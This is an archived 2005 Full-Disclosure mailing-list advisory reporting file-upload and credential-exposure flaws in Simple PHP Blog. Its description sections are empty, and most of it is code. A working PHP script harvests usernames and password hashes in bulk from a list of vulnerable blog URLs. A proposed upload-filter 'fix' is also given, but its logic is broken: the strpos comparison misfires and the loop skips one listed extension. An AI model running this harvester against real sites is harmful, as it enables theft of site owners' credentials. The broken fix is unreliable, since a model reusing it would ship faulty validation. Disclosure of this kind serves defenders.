Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [Full-disclosure] Simple PHP Blog File Upload and User Credentials Exposure Vulnerabilities |
|---|---|
| Date: | Thu, 25 Aug 2005 22:27:27 -0400 |
:: Summary
Vendor : Alexander Palmo
Vendor Site : http://www.simplephpblog.com/
Product(s) : Simple PHP Blog (SPHPBlog)
Version(s) : All
Severity : Medium/High
Release Date : 8/25/2005
Impact : Unauthorized file upload,
: Exposure of user credentials.
Credits : ReZEN (rezen (a) xorcrew (.) net),
: 0xception (oxception (a) xorcrew (.) net).===============================================================================
I. Description
===============================================================================
II. Synopsis
===============================================================================
III. Code/PoC
Insecure file upload - fix by ReZEN:
Add to upload_img_cgi.php at line 19:
-----BEGIN-----
$no = array( "exe", "pl", "php", "php3", "php4", "php5", "phps", "asp",
"cgi", "html", "htm" );
for( $i = 0; $i < 10; $i++ )
{
if( strpos( $uploadfile, $no[$i] ) >= 0 )
{
echo "That filetype is not allowed";
exit;
}
}------END------
PoC code to harvest usernames and passwords from vulnerable blogs, given a list of URLs:
-----BEGIN-----
<?php /********************************************
Stupid Script to grab usernames and password hashes form Simple PHP Blog Coded by ReZEN of XOR http://www.xorcrew.net/ReZEN ReZEN (AT) xorcrew (DOT) net Greetz: wr0ck, 0xception, tendo, ld, smirks, ajax, gml(i miss you), Infintiy, my friends My loving parents =] and anyone else i forgot
*********************************************/
$pdir = "config/password.txt"; $udir = "config/config.txt"; $urllist = "urls.txt"; //List of Blog Urls $i = 0; $fp = fopen( $urllist, 'rb' );
if( !$fp )
{
echo "Unable to open: ".$urllist."<br><br>";
}
else
{
while ( !feof ( $fp ) )
{
$url[$i] = fgets ( $fp, 1000 );
$url[$i] = trim( $url[$i] );
$i = $i + 1;
}
$limit = $i;
fclose( $fp );
}for( $i = 0; $i < $limit; $i++ )
{
$fp = fopen( $url[$i].$pdir, 'rb' );
if ( !$fp )
{
echo "Unable to get: ".$url.$pdir."<br><br>";
}
else
{
$pass = fread($fp, 1000);
fclose($fp);
}$fp = fopen( $url[$i].$udir, 'rb' );
if (!$fp)
{
echo "Unable to get: ".$url.$udir."<br><br>";
}
else
{
$conf = fread( $fp, 1000 );
fclose( $fp );
}$user = explode( "|", $conf ); echo $user[1].":".$pass."<br>"; $user = ""; $pass = ""; } ?>
------END------
===============================================================================
IV. Greets :>
All of xor, Infinity, stokhli, ajax, gml, k&k, seeprompt, the rest.
=============================================================================== _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-disclosure] Re: MS05_039 Exploitation (different languages), Fabrice MOURRON |
|---|---|
| Next by Date: | [Full-disclosure] [ GLSA 200508-18 ] PhpWiki: Arbitrary command execution through XML-RPC, Thierry Carrez |
| Previous by Thread: | CORRECTION: Remote IIS 5.x and IIS 6.0 Server Name Spoof, Mark Burnett |
| Next by Thread: | [Full-disclosure] [ GLSA 200508-18 ] PhpWiki: Arbitrary command execution through XML-RPC, Thierry Carrez |
| Indexes: | [Date] [Thread] [Top] [All Lists] |